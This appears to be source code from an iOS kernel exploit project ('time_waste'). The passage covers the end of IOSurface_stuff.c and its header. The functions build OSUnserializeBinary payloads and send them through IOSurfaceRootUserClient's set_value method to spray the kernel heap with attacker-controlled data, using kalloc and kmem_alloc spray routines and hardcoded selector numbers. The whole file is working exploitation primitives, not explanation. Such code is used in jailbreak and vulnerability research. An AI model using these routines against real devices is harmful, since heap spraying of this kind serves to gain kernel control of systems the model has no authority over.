args->binary[i++] = kOSSerializeString | (size - 1); | |
memcpy(&args->binary[i], data, size); | |
i += (size + 3)/4; | |
args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection; | |
args->binary[i++] = kalloc_key; | |
args->binary[i++] = 0; | |
kern_return_t ret = IOSurface_setValue(args, args_size); | |
free(args); | |
return ret; | |
} | |
int IOSurface_kalloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key) { | |
if (size - 1 > 0x00ffffff) { | |
printf("[-][IOSurface] Size too big for OSUnserializeBinary\n"); | |
return KERN_FAILURE; | |
} | |
if (count > 0x00ffffff) { | |
printf("[-][IOSurface] Count too big for OSUnserializeBinary\n"); | |
return KERN_FAILURE; | |
} | |
size_t args_size = sizeof(struct IOSurfaceValueArgs) + count * (((size + 3)/4) * 4) + 6 * 4 + count * 4; | |
struct IOSurfaceValueArgs *args = calloc(1, args_size); | |
args->surface_id = IOSurface_ID; | |
int i = 0; | |
args->binary[i++] = kOSSerializeBinarySignature; | |
args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection; | |
args->binary[i++] = kOSSerializeArray | count; | |
for (int c = 0; c < count; c++) { | |
args->binary[i++] = kOSSerializeData | (size) | ((c == count - 1) ? kOSSerializeEndCollection : 0); | |
memcpy(&args->binary[i], data, size); | |
i += (size + 3)/4; | |
} | |
args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection; | |
args->binary[i++] = kalloc_key; | |
args->binary[i++] = 0; | |
kern_return_t ret = IOSurface_setValue(args, args_size); | |
free(args); | |
return ret; | |
} | |
int IOSurface_empty_kalloc(uint32_t size, uint32_t kalloc_key) { | |
uint32_t capacity = size / 16; | |
if (capacity > 0x00ffffff) { | |
printf("[-][IOSurface] Size too big for OSUnserializeBinary\n"); | |
return KERN_FAILURE; | |
} | |
size_t args_size = sizeof(struct IOSurfaceValueArgs) + 9 * 4; | |
struct IOSurfaceValueArgs *args = calloc(1, args_size); | |
args->surface_id = IOSurface_ID; | |
int i = 0; | |
args->binary[i++] = kOSSerializeBinarySignature; | |
args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection; | |
args->binary[i++] = kOSSerializeDictionary | capacity; | |
args->binary[i++] = kOSSerializeSymbol | 4; | |
args->binary[i++] = 0x00aabbcc; | |
args->binary[i++] = kOSSerializeBoolean | kOSSerializeEndCollection; | |
args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection; | |
args->binary[i++] = kalloc_key; | |
args->binary[i++] = 0; | |
kern_return_t ret = IOSurface_setValue(args, args_size); | |
free(args); | |
return ret; | |
} | |
int IOSurface_kmem_alloc(void *data, uint32_t size, uint32_t kalloc_key) { | |
if (size < pagesize) { | |
printf("[-][IOSurface] Size too small for kmem_alloc\n"); | |
return KERN_FAILURE; | |
} | |
if (size > 0x00ffffff) { | |
printf("[-][IOSurface] Size too big for OSUnserializeBinary\n"); | |
return KERN_FAILURE; | |
} | |
size_t args_size = sizeof(struct IOSurfaceValueArgs) + ((size + 3)/4) * 4 + 6 * 4; | |
struct IOSurfaceValueArgs *args = calloc(1, args_size); | |
args->surface_id = IOSurface_ID; | |
int i = 0; | |
args->binary[i++] = kOSSerializeBinarySignature; | |
args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection; | |
args->binary[i++] = kOSSerializeData | size; | |
memcpy(&args->binary[i], data, size); | |
i += (size + 3)/4; | |
args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection; | |
args->binary[i++] = kalloc_key; | |
args->binary[i++] = 0; | |
kern_return_t ret = IOSurface_setValue(args, args_size); | |
free(args); | |
return ret; | |
} | |
int IOSurface_kmem_alloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key) { | |
if (size < pagesize) { | |
printf("[-][IOSurface] Size too small for kmem_alloc\n"); | |
return KERN_FAILURE; | |
} | |
if (size > 0x00ffffff) { | |
printf("[-][IOSurface] Size too big for OSUnserializeBinary\n"); | |
return KERN_FAILURE; | |
} | |
if (count > 0x00ffffff) { | |
printf("[-][IOSurface] Size too big for OSUnserializeBinary\n"); | |
return KERN_FAILURE; | |
} | |
size_t args_size = sizeof(struct IOSurfaceValueArgs) + count * (((size + 3)/4) * 4) + 6 * 4 + count * 4; | |
struct IOSurfaceValueArgs *args = calloc(1, args_size); | |
args->surface_id = IOSurface_ID; | |
int i = 0; | |
args->binary[i++] = kOSSerializeBinarySignature; | |
args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection; | |
args->binary[i++] = kOSSerializeArray | count; | |
for (int c = 0; c < count; c++) { | |
args->binary[i++] = kOSSerializeData | size | ((c == count - 1) ? kOSSerializeEndCollection : 0); | |
memcpy(&args->binary[i], data, size); | |
i += (size + 3)/4; | |
} | |
args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection; | |
args->binary[i++] = kalloc_key; | |
args->binary[i++] = 0; | |
kern_return_t ret = IOSurface_setValue(args, args_size); | |
free(args); | |
return ret; | |
} | |
int IOSurface_set_indexed_timestamp(io_service_t userclient, uint32_t surface_id, uint32_t index, uint64_t timestamp) { | |
uint64_t args[3] = {0}; | |
args[0] = surface_id; | |
args[1] = index; | |
args[2] = timestamp; | |
kern_return_t ret = IOConnectCallMethod(userclient, IOSurfaceRootUserClient_set_indexed_timestamp, args, 3, NULL, 0, NULL, NULL, NULL, NULL); | |
return ret; | |
} | |
int IOSurface_get_ycbcrmatrix(io_service_t userclient, uint32_t surface_id, uint32_t *output) { | |
uint64_t args[1] = {0}; | |
args[0] = surface_id; | |
uint64_t out[1] = {0}; | |
uint32_t count = 1; | |
kern_return_t ret = IOConnectCallMethod(userclient, IOSurfaceRootUserClient_get_ycbcrmatrix, args, 1, NULL, 0, out, &count, NULL, NULL); | |
if (ret) { | |
return ret; | |
} | |
*output = (uint32_t)out[0]; | |
return 0; | |
} | |
void term_IOSurface() { | |
if (IOSurfaceRoot) IOObjectRelease(IOSurfaceRoot); | |
if (IOSurfaceRootUserClient) IOServiceClose(IOSurfaceRootUserClient); | |
IOSurfaceRoot = 0; | |
IOSurfaceRootUserClient = 0; | |
IOSurface_ID = 0; | |
} |
// | |
// IOSurface_stuff.h | |
// time_waste | |
// | |
// Created by Jake James on 2/22/20. | |
// Copyright © 2020 Jake James. All rights reserved. | |
// | |
#ifndef IOSurface_stuff_h | |
#define IOSurface_stuff_h | |
#import <stdio.h> | |
#import <stdlib.h> | |
#import <unistd.h> | |
#import <IOKit/IOKitLib.h> | |
#import <mach/mach.h> | |
#define IOSurfaceRootUserClient_release_surface_selector 1 | |
#define IOSurfaceRootUserClient_create_surface_selector 6 // actually, this is the fast path version, normal one is selector 0 | |
#define IOSurfaceRootUserClient_get_ycbcrmatrix 8 | |
#define IOSurfaceRootUserClient_set_value_selector 9 | |
#define IOSurfaceRootUserClient_get_value_selector 10 | |
#define IOSurfaceRootUserClient_remove_value_selector 11 | |
#define IOSurfaceRootUserClient_increment_use_count_selector 14 | |
#define IOSurfaceRootUserClient_decrement_use_count_selector 15 | |
#define IOSurfaceRootUserClient_set_notify_selector 17 | |
#define IOSurfaceRootUserClient_set_indexed_timestamp 33 | |
struct IOSurfaceFastCreateArgs { | |
uint64_t address; | |
uint32_t width; | |
uint32_t height; | |
uint32_t pixel_format; | |
uint32_t bytes_per_element; | |
uint32_t bytes_per_row; | |
uint32_t alloc_size; | |
}; | |
struct IOSurfaceLockResult { | |
uint8_t _pad1[0x18]; | |
uint32_t surface_id; | |
uint8_t _pad2[0xf60-0x18-0x4]; | |
}; | |
struct IOSurfaceValueArgs { | |
uint32_t surface_id; | |
uint32_t field_4; | |
union { | |
uint32_t binary[0]; | |
char xml[0]; | |
}; | |
}; | |
struct IOSurfaceValueResultArgs { | |
uint32_t field_0; | |
}; | |
enum { | |
kOSSerializeDictionary = 0x01000000U, | |
kOSSerializeArray = 0x02000000U, | |
kOSSerializeSet = 0x03000000U, | |
kOSSerializeNumber = 0x04000000U, | |
kOSSerializeSymbol = 0x08000000U, | |
kOSSerializeString = 0x09000000U, | |
kOSSerializeData = 0x0a000000U, | |
kOSSerializeBoolean = 0x0b000000U, | |
kOSSerializeObject = 0x0c000000U, | |
kOSSerializeTypeMask = 0x7F000000U, | |
kOSSerializeDataMask = 0x00FFFFFFU, | |
kOSSerializeEndCollection = 0x80000000U, | |
kOSSerializeBinarySignature = 0x000000d3U, | |
}; | |
int init_IOSurface(void); | |
void term_IOSurface(void); | |
int release_IOSurface(io_service_t userclient, int surface_id); | |
int IOSurface_setValue(struct IOSurfaceValueArgs *args, size_t args_size); | |
int IOSurface_getValue(struct IOSurfaceValueArgs *args, int args_size, struct IOSurfaceValueArgs *output, size_t *out_size); | |
int IOSurface_removeValue(struct IOSurfaceValueArgs *args, size_t args_size); | |
int IOSurface_remove_property(uint32_t key); | |
int IOSurface_kalloc(void *data, uint32_t size, uint32_t kalloc_key); | |
int IOSurface_kalloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key); | |
int IOSurface_empty_kalloc(uint32_t size, uint32_t kalloc_key); | |
int IOSurface_kmem_alloc(void *data, uint32_t size, uint32_t kalloc_key); | |
int IOSurface_kmem_alloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key); | |
int IOSurface_set_indexed_timestamp(io_service_t userclient, uint32_t surface_id, uint32_t index, uint64_t timestamp); | |
int IOSurface_get_ycbcrmatrix(io_service_t userclient, uint32_t surface_id, uint32_t *output); | |
extern uint32_t pagesize; | |
extern io_connect_t IOSurfaceRoot; | |
extern io_service_t IOSurfaceRootUserClient; | |
extern uint32_t IOSurface_ID; | |
#endif /* IOSurface_stuff_h */ |